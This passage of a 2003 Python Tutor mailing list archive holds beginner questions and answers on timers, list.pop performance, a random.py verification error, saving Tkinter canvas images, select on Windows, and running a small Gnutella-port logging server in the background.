and popping as is common with queues.

The Python cookbook as ASPN contains some examples of rings that
might be useful.


--
Magnus Lycka (It's really Lyck&aring;), magnus@thinkware.se
Thinkware AB, Sweden, www.thinkware.se
I code Python ~ The Agile Programming Language 



From magnus@thinkware.se  Wed Jun 18 22:45:40 2003
From: magnus@thinkware.se (Magnus =?iso-8859-1?Q?Lyck=E5?=)
Date: Wed Jun 18 21:45:40 2003
Subject: [Tutor] Using time module to count off seconds before an
 event
In-Reply-To: <200306182018.46155.tireseas@onetel.com>
References: <20030618160006.26158.38696.Mailman@mail.python.org>
 <20030618160006.26158.38696.Mailman@mail.python.org>
Message-ID: <5.2.1.1.0.20030619033520.01e856a0@www.thinkware.se>

At 20:18 2003-06-18 +0100, valhalla wrote:
>I am wanting to modify a guessing game script I have so that the player is
>given x number of seconds (e.g. 60 seconds) during which to guess the answer
>before time's up and game is over.

You might want to look at the threading module and Timer
objects. See
http://starship.python.net/crew/aahz/OSCON2001/index.html

This isn't trivial though...

If some piece of your code is waiting at a "answer = raw_input()",
I don't think there is any way in Python to interrupt that.

Obviously, it's easy to see after the answer was given if it
was supplied within 60 seconds or not...

If you use a GUI you have different possibilities to for
instance disable a text box or close a window when a certain
amount of time has passed.


--
Magnus Lycka (It's really Lyck&aring;), magnus@thinkware.se
Thinkware AB, Sweden, www.thinkware.se
I code Python ~ The Agile Programming Language 



From R. Alan Monroe" <amonroe@columbus.rr.com  Wed Jun 18 22:50:02 2003
From: R. Alan Monroe" <amonroe@columbus.rr.com (R. Alan Monroe)
Date: Wed Jun 18 21:50:02 2003
Subject: [Tutor] crash when importing random or sys module, in my embedded python
In-Reply-To: <93386198524.20030618194709@columbus.rr.com>
References: <000201c335df$2c757460$6b01a8c0@zeratec>
 <006201c335ea$5297b800$6401a8c0@xp>
 <29383794056.20030618190705@columbus.rr.com> <3EF0F461.6040209@venix.com>
 <93386198524.20030618194709@columbus.rr.com>
Message-ID: <122393925725.20030618215557@columbus.rr.com>

>> Are you importing a random.py in your current directory?
> Nope, the normal one from the standard library. Just like struct.

>> import actually executes the lines that start at the left margin.  These are
>> typically def, class, and import statements.  Some assignment statements are
>> also common.  Normally these simply create the classes and function definitions
>> that your program will be using.
> That's all I'm doing, trying to set up a list of random integers that
> will be used as global variable, nothing more. The only reason I
> bothered wrapping the "import random" in a try block was because the
> host app in which I was embedding, starting segfaulting, after I added
> the "import random" statement.

Fiddling around with the order of the import statements DID let me use
sys.exc_info after all. But who can tell me what this inexplicable
error means? (Google couldn't find the exact error message, although
it found the source for the standard random module :^) )

Here's the error:
'computed value for TWOPI deviates too much (computed 6.28319, expected 6.28319)',

What the @*&^@#*????

Alan



From magnus@thinkware.se  Wed Jun 18 23:17:01 2003
From: magnus@thinkware.se (Magnus =?iso-8859-1?Q?Lyck=E5?=)
Date: Wed Jun 18 22:17:01 2003
Subject: [Tutor] crash when importing random or sys module, in my
 embedded python
In-Reply-To: <122393925725.20030618215557@columbus.rr.com>
References: <93386198524.20030618194709@columbus.rr.com>
 <000201c335df$2c757460$6b01a8c0@zeratec>
 <006201c335ea$5297b800$6401a8c0@xp>
 <29383794056.20030618190705@columbus.rr.com>
 <3EF0F461.6040209@venix.com>
 <93386198524.20030618194709@columbus.rr.com>
Message-ID: <5.2.1.1.0.20030619040301.01fd9bf8@www.thinkware.se>

At 21:55 2003-06-18 -0400, R. Alan Monroe wrote:
>Here's the error:
>'computed value for TWOPI deviates too much (computed 6.28319, expected 
>6.28319)',

What platform are you working on?

What result do you get if you do:

 >>> import math
 >>> math.pi * 2

???

You should get something like 6.2831853071795862

As you see below, you must stay roughly between 6.2831852
and 6.2831854 for random.py to be happy.

The code that causes the exception is in random.py
(as you might guess, and you can obviously look at
that.)

...
from math import log as _log, exp as _exp, pi as _pi, e as _e
...
def _verify(name, computed, expected):
     if abs(computed - expected) > 1e-7:
         raise ValueError(
             "computed value for %s deviates too much "
             "(computed %g, expected %g)" % (name, computed, expected))
...
TWOPI = 2.0*_pi
_verify('TWOPI', TWOPI, 6.28318530718)
...

If you change %g to %r or %.20g etc in the function above, you will
see how far off you were in calculating pi.

You can naturally muck with this by removing the verification or
increasing the fuzz factor, but I assume the test is there for a
reason, so you'll get a less good random generation.


--
Magnus Lycka (It's really Lyck&aring;), magnus@thinkware.se
Thinkware AB, Sweden, www.thinkware.se
I code Python ~ The Agile Programming Language 



From R. Alan Monroe" <amonroe@columbus.rr.com  Wed Jun 18 23:25:02 2003
From: R. Alan Monroe" <amonroe@columbus.rr.com (R. Alan Monroe)
Date: Wed Jun 18 22:25:02 2003
Subject: [Tutor] crash when importing random or sys module, in my  embedded python
In-Reply-To: <5.2.1.1.0.20030619040301.01fd9bf8@www.thinkware.se>
References: <93386198524.20030618194709@columbus.rr.com>
 <000201c335df$2c757460$6b01a8c0@zeratec> <006201c335ea$5297b800$6401a8c0@xp>
 <29383794056.20030618190705@columbus.rr.com> <3EF0F461.6040209@venix.com>
 <93386198524.20030618194709@columbus.rr.com>
 <5.2.1.1.0.20030619040301.01fd9bf8@www.thinkware.se>
Message-ID: <131396006387.20030618223037@columbus.rr.com>

>>Here's the error:
>>'computed value for TWOPI deviates too much (computed 6.28319, expected 
>>6.28319)',

> What platform are you working on?
Windows 2000


> What result do you get if you do:
>  >>> import math
>  >>> math.pi * 2
> You should get something like 6.2831853071795862

Exactly the same as you
>>> math.pi *2
6.2831853071795862

> The code that causes the exception is in random.py
> (as you might guess, and you can obviously look at
> that.)

Yeah I just made a backup then commented out the _verify. It works now
:^)


Alan



From fredm@smartypantsco.com  Wed Jun 18 23:53:01 2003
From: fredm@smartypantsco.com (Alfred Milgrom)
Date: Wed Jun 18 22:53:01 2003
Subject: [Tutor] Can you create an image from Tkinter?
In-Reply-To: <5.2.1.1.0.20030613205136.01f666d0@www.thinkware.se>
References: <5.1.0.14.0.20030612124213.049afec0@192.168.1.1>
 <22-1602680473.20030611222020@columbus.rr.com>
Message-ID: <5.1.0.14.0.20030619123517.0338aec0@192.168.1.1>

Just wanted to let other people on the list know the results of how to save=
=20
a Tkinter canvas image.

Magnus recommended looking at PIL, so I had another very careful read of=20
the manual.
Included in PIL is a module called ImageGrab which allows you to grab the=20
entire screen (or a defined section of it), or to get images from the=20
clipboard. This works only on Windows platforms.
(Note that ImageGrab is part of the PIL package but is not a function of=
 Image)

Also Fredrik Lundh was incredibly helpful in helping me sort out some=20
problems and also forwarded a link to one of his posts on how to grab just=
=20
the Tkinter canvas:

http://mail.python.org/pipermail/image-sig/2003-May/002292.html

The code example in that post is as follows:

the following script works on Windows (requires PIL 1.1.4):
import sys
import Tkinter
import ImageGrab

canvas =3D Tkinter.Canvas(width=3D600, height=3D400)
canvas.create_line(0, 0, 600, 400, fill=3D"red", width=3D10)
canvas.pack()

canvas.update()

if sys.platform =3D=3D "win32":

         # get window location
         x0 =3D canvas.winfo_rootx()
         y0 =3D canvas.winfo_rooty()
         x1 =3D x0 + canvas.winfo_width()
         y1 =3D y0 + canvas.winfo_height()

         im =3D ImageGrab.grab((x0, y0, x1, y1))

else:

         raise NotYetImplemented("oops!")

im.show()

Thanks again to everyone on the list for making this such an interesting=20
place to get and exchange information.
Thanks also to Fredrik Lundh for writing such great code and supporting it=
=20
so generously.

Fred Milgrom


At 09:14 PM 13/06/03 +0200, Magnus Lyck=E5 wrote:
>At 11:48 2003-06-13 +1000, Alfred Milgrom wrote:
>>I wonder if anyone can help me with creating savable images (say GIF or=20
>>BMP) under Python?
>
>I think you should take a look at PIL:
>http://www.pythonware.com/products/pil/index.htm#pil114
>
>A slightly old handbook is here:
>http://www.pythonware.com/library/pil/handbook/index.htm
>
>
>--
>Magnus Lycka (It's really Lyck&aring;), magnus@thinkware.se
>Thinkware AB, Sweden, www.thinkware.se
>I code Python ~ The Agile Programming Language



From tireseas@onetel.com  Thu Jun 19 02:21:00 2003
From: tireseas@onetel.com (valhalla)
Date: Thu Jun 19 01:21:00 2003
Subject: [Tutor] Re: Using time module to count off seconds before an event
In-Reply-To: <20030619022502.20790.20974.Mailman@mail.python.org>
References: <20030619022502.20790.20974.Mailman@mail.python.org>
Message-ID: <200306190620.33602.tireseas@onetel.com>

Hello Michael Janssen & Magnus Lycka

Thank you both for your help and suggestions. I'll play around with the i=
deas=20
and see what I can come up with. I didn't realise that this wouldn't be=20
straight-forward. I thought that it might be a countdown that I could set=
 as=20
a range (similar possibly to Michael's suggestion) on one of the time=20
functions that when it would reach ctime + 60 seconds, a message could be=
=20
printed to the screen saying "Time's Up" or be cancelled if the player go=
t=20
the correct answer. May have to rethink the design a bit.

I also didn't realise that my message got sent to the list twice - sorry =
for=20
the repeat!! Ooops :-(

Andy

--=20
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
||  Reg. Linux User: 313143 ||
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
Sign the Petition:
http://www.PetitionOnline.com/endtcpa1/


From alan.gauld@blueyonder.co.uk  Thu Jun 19 04:02:02 2003
From: alan.gauld@blueyonder.co.uk (Alan Gauld)
Date: Thu Jun 19 03:02:02 2003
Subject: [Tutor] why is list.pop(0) slow?
References: <5.2.1.1.0.20030618160312.0275d008@66.28.54.253>
Message-ID: <009b01c33630$61b1acb0$6401a8c0@xp>

> >I've been playing around with very large lists and found out by
chance
> >that pop(0) is 8 times slower than pop(). Is it really that bad?
> >Performance improved when the list i have is reversed and used
pop().

How big are your lists? I just tried a 1 million member list and
got no measurable difference between pop() and pop(0).

Alan G.



From glingl@aon.at  Thu Jun 19 05:38:01 2003
From: glingl@aon.at (Gregor Lingl)
Date: Thu Jun 19 04:38:01 2003
Subject: [Tutor] why is list.pop(0) slow?
Message-ID: <3EF176CA.6070102@aon.at>


Alan Gauld schrieb:

>I've been playing around with very large lists and found out by
>chance
  
>that pop(0) is 8 times slower than pop(). Is it really that bad?
>Performance improved when the list i have is reversed and used
>pop().
>
>How big are your lists? I just tried a 1 million member list and
>got no measurable difference between pop() and pop(0).
>  
>

Hi all!

I tried this out and (invariably) found the following
paradox result:

 >>> l=range(1000000)
 >>> if 1:
...     for i in range(3):
...         a=clock()
...         l.pop()
...         b=clock()
...         l.pop(0)
...         c=clock()
...         print b-a
...         print c-b
...
999999
0
0.101023984606
0.059478771889
999998
1
0.0128689504199
0.0605054383992
999997
2
0.0128781694661
0.0593547338127

which means: when done for the first time, pop() takes
approximately twice as much time as pop(0) , whereas
in all the following executions of the body of the loop
pop() is approximately five times faster than pop(0).
Notice that only the performance of pop() changes.

Aha! ??? Let's try the converse:

 >>> l=range(1000000)
 >>> if 1:
...     for i in range(3):
...         a=clock()
...         l.pop(0)
...         b=clock()
...         l.pop()
...         c=clock()
...         print b-a
...         print c-b
...
0
999999
0.14588973015
0.0120258267389
1
999998
0.065228104346
0.0120895219675
2
999997
0.0598760289713
0.0118950839017

Hmmm. So the first call of the method pop is
significantly slower than any following one. And
pop() in fact five times faster than pop(0) with
this 1000000-member-list

(Done on a 400MHz-Windows 2000 Machine)

Best wishes, Gregor








From decibelshelp@charter.net  Thu Jun 19 05:39:03 2003
From: decibelshelp@charter.net (DAVID BABCOCK)
Date: Thu Jun 19 04:39:03 2003
Subject: [Tutor] Printing std.out (terminal) with formatted output
Message-ID: <web-1299819@rems10.cluster1.charter.net>

I am wanting to print some results from a database to the 
user. Just using the terminal and std.out for right now.

Is there any module that might give some help making the 
output more readable. 

Saw one called prettyprint that might fit the bill. Just 
trying to not reinvent the wheel. I did a search on 
google, not coming up with much do to common words like 
format and print.

Thanks,

Dave


From shad@mail.kubtelecom.ru  Thu Jun 19 06:28:47 2003
From: shad@mail.kubtelecom.ru (Denis Dzyubenko)
Date: Thu Jun 19 05:28:47 2003
Subject: [Tutor] using select
Message-ID: <87brwuwh78.fsf@mail.kubtelecom.ru>

Hello, all python programmers!

In my python-program I used poll() function, but I noticed that poll()
is not accessible under Windows, so I changed this code:

...
POLL_TIMEOUT = 10
...
        fd = select.poll()
        fd.register(sfdcl, select.POLLIN | select.POLLPRI)
        while len(fd.poll(POLL_TIMEOUT)) > 0:
            p = sfdcl.recvfrom(self.getmsgsize())
...

with this one:

...
        while len(select.select([sfdcl],[],[],POLL_TIMEOUT/1000.0)[0]) > 0:
            p = sfdcl.recvfrom(self.getmsgsize())
...

It works just fine, but I have never worked with sockets (and
select(),poll() functions), so I am not sure if this code is
correct. Where can I read docs about sockets and select/poll (I have
already read man pages) ?

Then, my program must wait input from socket and from stdin, now I do
this using select() that waits for data in two file descriptiors
(sys.stdin and 'sfdcl' - my socket), but I noticed that windows
doesn't support select() with file descriptors, only sockets are
acceptable. What should I do? Can threads help me - for example one
thread reads from stdin, and another - from socket ?

Thanks for your help!

-- 
Denis.

P.S. Sorry for terrible english, it is not my native language :(


From magnus@thinkware.se  Thu Jun 19 06:40:01 2003
From: magnus@thinkware.se (Magnus =?iso-8859-1?Q?Lyck=E5?=)
Date: Thu Jun 19 05:40:01 2003
Subject: [Tutor] crash when importing random or sys module, in my
 embedded python
In-Reply-To: <131396006387.20030618223037@columbus.rr.com>
References: <5.2.1.1.0.20030619040301.01fd9bf8@www.thinkware.se>
 <93386198524.20030618194709@columbus.rr.com>
 <000201c335df$2c757460$6b01a8c0@zeratec>
 <006201c335ea$5297b800$6401a8c0@xp>
 <29383794056.20030618190705@columbus.rr.com>
 <3EF0F461.6040209@venix.com>
 <93386198524.20030618194709@columbus.rr.com>
 <5.2.1.1.0.20030619040301.01fd9bf8@www.thinkware.se>
Message-ID: <5.2.1.1.0.20030619114022.01f97558@www.thinkware.se>

At 22:30 2003-06-18 -0400, R. Alan Monroe wrote:
>Yeah I just made a backup then commented out the _verify. It works now

What if you change %g to %r instead, to show more decimals?
What will the traceback message be then? If you really have
the same output from 2*math.pi as I do, then _verify shouldn't
complain. It certainly seems that something strange is going
on here.


--
Magnus Lycka (It's really Lyck&aring;), magnus@thinkware.se
Thinkware AB, Sweden, www.thinkware.se
I code Python ~ The Agile Programming Language 



From magnus@thinkware.se  Thu Jun 19 07:13:01 2003
From: magnus@thinkware.se (Magnus =?iso-8859-1?Q?Lyck=E5?=)
Date: Thu Jun 19 06:13:01 2003
Subject: [Tutor] Printing std.out (terminal) with formatted output
In-Reply-To: <web-1299819@rems10.cluster1.charter.net>
Message-ID: <5.2.1.1.0.20030619114728.01fddea0@www.thinkware.se>

At 04:38 2003-06-19 -0400, DAVID BABCOCK wrote:
>I am wanting to print some results from a database to the user. Just using 
>the terminal and std.out for right now.

What kind of database are we talking about? An SQL database and
a DB-API 2 complient interface?

>Is there any module that might give some help making the output more 
>readable.
>Saw one called prettyprint that might fit the bill. Just trying to not 
>reinvent the wheel. I did a search on google, not coming up with much do 
>to common words like format and print.

Prettyprint is rather intended to create a half decent result
where you can't predict what the data will look for.

With the kind of tabular data I guess you have, it's not a good choice.

Do you understand how to use format strings and the %-operator?
E.g.

 >>> print '%4i|%10s|%10s' % (5, 'Hello', 'World')
    5|     Hello|     World



--
Magnus Lycka (It's really Lyck&aring;), magnus@thinkware.se
Thinkware AB, Sweden, www.thinkware.se
I code Python ~ The Agile Programming Language 



From patrick@kirks.net  Thu Jun 19 08:22:01 2003
From: patrick@kirks.net (Patrick Kirk)
Date: Thu Jun 19 07:22:01 2003
Subject: [Tutor] TSR in windows
Message-ID: <3EF19CD7.80008@kirks.net>

This is a multi-part message in MIME format.
--------------070803050909010704010509
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

Hi all,

I'm writing a little application that will log all contact received on 
port 6346.  It works a treat except...it leaves a console window open. 
Right now I want to learn how to start it in the background and then I 
will find a way to give it a System Tray icon.

How do I do this in Python.

The code is attached - its a learning exercise so please excuse if it 
appears lame.


-- 

Best regards,


Patrick Kirk
Mobile: 07876 560 646


--------------070803050909010704010509
Content-Type: text/plain;
 name="server.txt"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="server.txt"

#! /usr/bin/env python
from re import *			# get regex stuff
from socket import *			# get socket stuff
myHost = ''			# localhost
myPort = 6346				# free port 

# Create listener and process input
def createSocket():
	sockobj = socket(AF_INET, SOCK_STREAM)		# makes socket object
	sockobj.bind((myHost, myPort))			# binds it to server and port
	sockobj.listen(50)				# listen allowing 50 connections
	
	
	while 1:				# listen 'til process killed
		connection, address = sockobj.accept()	# waiting for connection
		print 'Server connected by ', address	# connection is a new socket
		data = connection.recv(1024)	# read next line on client socket
		
		handshake0 = 'GNUTELLA CONNECT'
		handshakeRequest = data.find(handshake0)
		request = 'GET '
		fileRequest = data.find(request)
		if fileRequest == 0:
			connection.close()  # Rude but how does one say NO?
		
		elif handshakeRequest > 0:
			connection.send('GNUTELLA/0.6 200 OK\r\n' ) # lets see what reply we get
			if not data: break		# send reply line to client
			print data
			connection.close()
	                
	    	else:
			print data
			connection.close()

createSocket()
--------------070803050909010704010509--



From magnus@thinkware.se  Thu Jun 19 08:39:01 2003
From: magnus@thinkware.se (Magnus =?iso-8859-1?Q?Lyck=E5?=)
Date: Thu Jun 19 07:39:01 2003
Subject: [Tutor] TSR in windows
In-Reply-To: <3EF19CD7.80008@kirks.net>
Message-ID: <5.2.1.1.0.20030619133943.01ff61d0@www.thinkware.se>

At 12:21 2003-06-19 +0100, Patrick Kirk wrote:
>I'm writing a little application that will log all contact received on 
>port 6346.  It works a treat except...it leaves a console window open. 
>Right now I want to learn how to start it in the background and then I 
>will find a way to give it a System Tray icon.

Rename the file from something.py to something.pyw, or alternatively,
start the program with pythonw.exe instead of python.exe. (That's
what .pyw is associated with in Windows.)




--
Magnus Lycka (It's really Lyck&aring;), magnus@thinkware.se
Thinkware AB, Sweden, www.thinkware.se
I code Python ~ The Agile Programming Language 



From alan.gauld@blueyonder.co.uk  Thu Jun 19 13:13:02 2003
From: alan.gauld@blueyonder.co.uk (Alan Gauld)
Date: Thu Jun 19 12:13:02 2003
Subject: [Tutor] Printing std.out (terminal) with formatted output
References: <web-1299819@rems10.cluster1.charter.net>
Message-ID: <001801c3367d$635850d0$6401a8c0@xp>

> Is there any module that might give some help making the 
> output more readable. 

The standard format strings should be able to do most things.

and why print to std.out(you mean sys.stdout?) when you 
can just use 'print'?

In other words, what are you trying to do in the way of 
formatting that makes the usual built in techniques unusable?

Alan G.


From AJGables@cs.com  Thu Jun 19 13:13:15 2003
From: AJGables@cs.com (AJGables@cs.com)
Date: Thu Jun 19 12:13:15 2003
Subject: [Tutor] re:  help/unsubscribe me please
Message-ID: <32134A90.31BB893A.0063AD5D@cs.com>

tutor-request@python.org wrote:

>Send Tutor mailing list submissions to
>    tutor@python.org
>
>To subscribe or unsubscribe via the World Wide Web, visit
>    http://mail.python.org/mailman/listinfo/tutor
>or, via email, send a message with subject or body 'help' to
>    tutor-request@python.org
>
>You can reach the person managing the list at
>    tutor-admin@python.org
>
>When replying, please edit your Subject line so it is more specific
>than "Re: Contents of Tutor digest..."
>
>
>Today's Topics:
>
>   1. Re: Can you create an image from Tkinter? (Alfred Milgrom)
>   2. Re: Using time module to count off seconds before an event (valhalla)
>   3. Re: why is list.pop(0) slow? (Alan Gauld)
>   4. Re: why is list.pop(0) slow? (Gregor Lingl)
>   5. Printing std.out (terminal) with formatted output (DAVID BABCOCK)
>   6. using select (Denis Dzyubenko)
>   7. Re: crash when importing random or sys module, in my
>       embedded python (Magnus =?iso-8859-1?Q?Lyck=E5?=)
>   8. Re: Printing std.out (terminal) with formatted output (Magnus =?iso-8859-1?Q?Lyck=E5?=)
>   9. TSR in windows (Patrick Kirk)
>  10. Re: TSR in windows (Magnus =?iso-8859-1?Q?Lyck=E5?=)
>
>--__--__--
>
>Message: 1
>Date: Thu, 19 Jun 2003 12:48:01 +1000
>To: Magnus =?iso-8859-1?Q?Lyck=E5?= <magnus@thinkware.se>,
>    tutor@python.org
>From: Alfred Milgrom <fredm@smartypantsco.com>
>Subject: Re: [Tutor] Can you create an image from Tkinter?
>
>Just wanted to let other people on the list know the results of how to save=
>=20
>a Tkinter canvas image.
>
>Magnus recommended looking at PIL, so I had another very careful read of=20
>the manual.
>Included in PIL is a module called ImageGrab which allows you to grab the=20
>entire screen (or a defined section of it), or to get images from the=20
>clipboard. This works only on Windows platforms.
>(Note that ImageGrab is part of the PIL package but is not a function of=
> Image)
>
>Also Fredrik Lundh was incredibly helpful in helping me sort out some=20
>problems and also forwarded a link to one of his posts on how to grab just=
>=20
>the Tkinter canvas:
>
>http://mail.python.org/pipermail/image-sig/2003-May/002292.html
>
>The code example in that post is as follows:
>
>the following script works on Windows (requires PIL 1.1.4):
>import sys
>import Tkinter
>import ImageGrab
>
>canvas =3D Tkinter.Canvas(width=3D600, height=3D400)
>canvas.create_line(0, 0, 600, 400, fill=3D"red", width=3D10)
>canvas.pack()
>
>canvas.update()
>
>if sys.platform =3D=3D "win32":
>
>         # get window location
>         x0 =3D canvas.winfo_rootx()
>         y0 =3D canvas.winfo_rooty()
>         x1 =3D x0 + canvas.winfo_width()
>         y1 =3D y0 + canvas.winfo_height()
>
>         im =3D ImageGrab.grab((x0, y0, x1, y1))
>
>else:
>
>         raise NotYetImplemented("oops!")
>
>im.show()
>
>Thanks again to everyone on the list for making this such an interesting=20
>place to get and exchange information.
>Thanks also to Fredrik Lundh for writing such great code and supporting it=
>=20
>so generously.
>
>Fred Milgrom
>
>
>At 09:14 PM 13/06/03 +0200, Magnus Lyck=E5 wrote:
>>At 11:48 2003-06-13 +1000, Alfred Milgrom wrote:
>>>I wonder if anyone can help me with creating savable images (say GIF or=20
>>>BMP) under Python?
>>
>>I think you should take a look at PIL:
>>http://www.pythonware.com/products/pil/index.htm#pil114
>>
>>A slightly old handbook is here:
>>http://www.pythonware.com/library/pil/handbook/index.htm
>>
>>
>>--
>>Magnus Lycka (It's really Lyck&aring;), magnus@thinkware.se
>>Thinkware AB, Sweden, www.thinkware.se
>>I code Python ~ The Agile Programming Language
>
>
>
>--__--__--
>
>Message: 2
>From: valhalla <tireseas@onetel.com>
>Reply-To: tireseas@onetel.com
>To: tutor@python.org
>Date: Thu, 19 Jun 2003 06:20:33 +0100
>Subject: [Tutor] Re: Using time module to count off seconds before an event
>
>Hello Michael Janssen & Magnus Lycka
>
>Thank you both for your help and suggestions. I'll play around with the i=
>deas=20
>and see what I can come up with. I didn't realise that this wouldn't be=20
>straight-forward. I thought that it might be a countdown that I could set=
> as=20
>a range (similar possibly to Michael's suggestion) on one of the time=20
>functions that when it would reach ctime + 60 seconds, a message could be=
>=20
>printed to the screen saying "Time's Up" or be cancelled if the player go=
>t=20
>the correct answer. May have to rethink the design a bit.
>
>I also didn't realise that my message got sent to the list twice - sorry =
>for=20
>the repeat!! Ooops :-(
>
>Andy
>
>--=20
>=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
>||  Reg. Linux User: 313143 ||
>=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
>Sign the Petition:
>http://www.PetitionOnline.com/endtcpa1/
>
>
>--__--__--
>
>Message: 3
>From: "Alan Gauld" <alan.gauld@blueyonder.co.uk>
>To: "Wari Wahab" <wari@home.wari.org>,
>    <tutor@python.org>,
>    "Bob Gailer" <bgailer@alum.rpi.edu>
>Subject: Re: [Tutor] why is list.pop(0) slow?
>Date: Thu, 19 Jun 2003 07:59:47 +0100
>
>> >I've been playing around with very large lists and found out by
>chance
>> >that pop(0) is 8 times slower than pop(). Is it really that bad?
>> >Performance improved when the list i have is reversed and used
>pop().
>
>How big are your lists? I just tried a 1 million member list and
>got no measurable difference between pop() and pop(0).
>
>Alan G.
>
>
>
>--__--__--
>
>Message: 4
>Date: Thu, 19 Jun 2003 10:39:38 +0200
>From: Gregor Lingl <glingl@aon.at>
>To:  tutor@python.org
>Subject: Re: [Tutor] why is list.pop(0) slow?
>
>
>
>Alan Gauld schrieb:
>
>>I've been playing around with very large lists and found out by
>>chance
>  
>>that pop(0) is 8 times slower than pop(). Is it really that bad?
>>Performance improved when the list i have is reversed and used
>>pop().
>>
>>How big are your lists? I just tried a 1 million member list and
>>got no measurable difference between pop() and pop(0).
>>  
>>
>
>Hi all!
>
>I tried this out and (invariably) found the following
>paradox result:
>
> >>> l=range(1000000)
> >>> if 1:
>...     for i in range(3):
>...         a=clock()
>...         l.pop()
>...         b=clock()
>...         l.pop(0)
>...         c=clock()
>...         print b-a
>...         print c-b
>...
>999999
>0
>0.101023984606
>0.059478771889
>999998
>1
>0.0128689504199
>0.0605054383992
>999997
>2
>0.0128781694661
>0.0593547338127
>
>which means: when done for the first time, pop() takes
>approximately twice as much time as pop(0) , whereas
>in all the following executions of the body of the loop
>pop() is approximately five times faster than pop(0).
>Notice that only the performance of pop() changes.
>
>Aha! ??? Let's try the converse:
>
> >>> l=range(1000000)
> >>> if 1:
>...     for i in range(3):
>...         a=clock()
>...         l.pop(0)
>...         b=clock()
>...         l.pop()
>...         c=clock()
>...         print b-a
>...         print c-b
>...
>0
>999999
>0.14588973015
>0.0120258267389
>1
>999998
>0.065228104346
>0.0120895219675
>2
>999997
>0.0598760289713
>0.0118950839017
>
>Hmmm. So the first call of the method pop is
>significantly slower than any following one. And
>pop() in fact five times faster than pop(0) with
>this 1000000-member-list
>
>(Done on a 400MHz-Windows 2000 Machine)
>
>Best wishes, Gregor
>
>
>
>
>
>
>
>
>--__--__--
>
>Message: 5
>From: "DAVID BABCOCK" <decibelshelp@charter.net>
>To: Tutor@python.org
>Date: Thu, 19 Jun 2003 04:38:28 -0400
>Subject: [Tutor] Printing std.out (terminal) with formatted output
>
>I am wanting to print some results from a database to the 
>user. Just using the terminal and std.out for right now.
>
>Is there any module that might give some help making the 
>output more readable. 
>
>Saw one called prettyprint that might fit the bill. Just 
>trying to not reinvent the wheel. I did a search on 
>google, not coming up with much do to common words like 
>format and print.
>
>Thanks,
>
>Dave
>
>
>--__--__--
>
>Message: 6
>To: tutor <tutor@python.org>
>From: Denis Dzyubenko <shad@mail.kubtelecom.ru>
>Date: Thu, 19 Jun 2003 13:27:07 +0400
>Subject: [Tutor] using select
>
>Hello, all python programmers!
>
>In my python-program I used poll() function, but I noticed that poll()
>is not accessible under Windows, so I changed this code:
>
>...
>POLL_TIMEOUT = 10
>...
>        fd = select.poll()
>        fd.register(sfdcl, select.POLLIN | select.POLLPRI)
>        while len(fd.poll(POLL_TIMEOUT)) > 0:
>            p = sfdcl.recvfrom(self.getmsgsize())
>...
>
>with this one:
>
>...
>        while len(select.select([sfdcl],[],[],POLL_TIMEOUT/1000.0)[0]) > 0:
>            p = sfdcl.recvfrom(self.getmsgsize())
>...
>
>It works just fine, but I have never worked with sockets (and
>select(),poll() functions), so I am not sure if this code is
>correct. Where can I read docs about sockets and select/poll (I have
>already read man pages) ?
>
>Then, my program must wait input from socket and from stdin, now I do
>this using select() that waits for data in two file descriptiors
>(sys.stdin and 'sfdcl' - my socket), but I noticed that windows
>doesn't support select() with file descriptors, only sockets are
>acceptable. What should I do? Can threads help me - for example one
>thread reads from stdin, and another - from socket ?
>
>Thanks for your help!
>
>-- 
>Denis.
>
>P.S. Sorry for terrible english, it is not my native language :(
>
>
>--__--__--
>
>Message: 7
>Date: Thu, 19 Jun 2003 11:43:31 +0200
>To: "R. Alan Monroe" <amonroe@columbus.rr.com>
>From: Magnus =?iso-8859-1?Q?Lyck=E5?= <magnus@thinkware.se>
>Subject: Re: [Tutor] crash when importing random or sys module, in my 
>  embedded python
>Cc: tutor@python.org
>
>At 22:30 2003-06-18 -0400, R. Alan Monroe wrote:
>>Yeah I just made a backup then commented out the _verify. It works now
>
>What if you change %g to %r instead, to show more decimals?
>What will the traceback message be then? If you really have
>the same output from 2*math.pi as I do, then _verify shouldn't
>complain. It certainly seems that something strange is going
>on here.
>
>
>--
>Magnus Lycka (It's really Lyck&aring;), magnus@thinkware.se
>Thinkware AB, Sweden, www.thinkware.se
>I code Python ~ The Agile Programming Language 
>
>
>


From Janssen@rz.uni-frankfurt.de  Thu Jun 19 13:33:24 2003
From: Janssen@rz.uni-frankfurt.de (Michael Janssen)
Date: Thu Jun 19 12:33:24 2003
Subject: [Tutor] Using time module to count off seconds before an  event
In-Reply-To: <5.2.1.1.0.20030619033520.01e856a0@www.thinkware.se>
Message-ID: <Pine.A41.4.32.0306191748100.28600-100000@faust27-eth.rz.uni-frankfurt.de>

On Thu, 19 Jun 2003, Magnus Lyck=E5 wrote:

> At 20:18 2003-06-18 +0100, valhalla wrote:
> >I am wanting to modify a guessing game script I have so that the player =
is
> >given x number of seconds (e.g. 60 seconds) during which to guess the an=
swer
> >before time's up and game is over.
>
> You might want to look at the threading module and Timer
> objects. See
> http://starship.python.net/crew/aahz/OSCON2001/index.html
>
> This isn't trivial though...
>
> If some piece of your code is waiting at a "answer =3D raw_input()",
> I don't think there is any way in Python to interrupt that.

I havn't thought of this problem ... Solution could be in the signal
module (Unix):

import sys, signal, time

def alarm_handler(signum, frame):
    pass

def cd():
 for n in range(60, 0, -1):
    print "sec remaining: %2i  - type in your guess: " % (n),
    k =3D signal.signal(signal.SIGALRM, alarm_handler)
    k =3D signal.alarm(1)
    # readline can't be interrupted cleanly by alarm (raw_input can't be
    # interupted at all).
    try:
        answer =3D sys.stdin.readline()
        print "Your answere was -%s-" % (answer),
        break
    except IOError:
        pass
    print "\033[A"


---> both countdown and readline ;-) You must be confident and type in
your answere while the countdown string will overwrite it ([enter] at
the end is importent)

Perhaps the curses modules helps to do both printing and reading in one
term without puzzling the user (OTOH curses isn't much easier against GUI
Programming).


Michael

>
> Obviously, it's easy to see after the answer was given if it
> was supplied within 60 seconds or not...
>
